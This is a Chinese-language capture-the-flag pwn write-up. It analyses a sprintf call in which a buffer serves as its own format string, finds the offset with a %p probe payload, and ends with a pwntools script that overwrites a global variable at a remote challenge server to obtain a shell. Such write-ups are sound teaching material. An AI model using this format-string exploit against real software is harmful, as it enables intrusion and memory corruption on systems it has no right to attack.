分析sub_401192(),其中的sprintf()是将格式化数据输到特定数组或变量中的函数,其参数顺序为:目标 --> 格式 --> 数据。
参数1:输出目的地,该变量为全局变量,内存地址为 0x404080
参数2:buf = 格式化字符串模板,函数会解析buf内的内容,里面的 %s、%x等都会被当作格式指令
参数3:buf = 填充数据
简单翻译就是:用buf作为格式化模板,再将buf本身的数据用buf的格式模板格式化,得到的结果输出到format
所以该函数存在格式化字符串的漏洞,可以通过利用该漏洞修改unk_404060变量的值,绕过if语句

但在实际的偏移测试中,可以看到程序没有给出回显

虽然没有回显,但是可以通过枚举偏移或者动态调试的方式去确认偏移
因为sprintf()有三个参数,并且在amd64的程序中,参数是通过寄存器传递的,所以可以依次查看 RDI、RSI和RDX寄存器判断偏移
偏移测试payload:aaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

执行前查看RDI寄存器的情况,可以看到其值为0

单步执行后再次查看,可以看到,格式化字符串偏移为5

后续就可以通过利用格式化字符串漏洞getshell
Exploit:
from pwn import *
context(arch='amd64', os='linux')
p = remote("49.232.142.230", 14699)
# p = process("./pwn")
offset = 5
payload = fmtstr_payload(offset, {0x404060 : b"FMYY"})
p.sendline(payload)
p.interactive()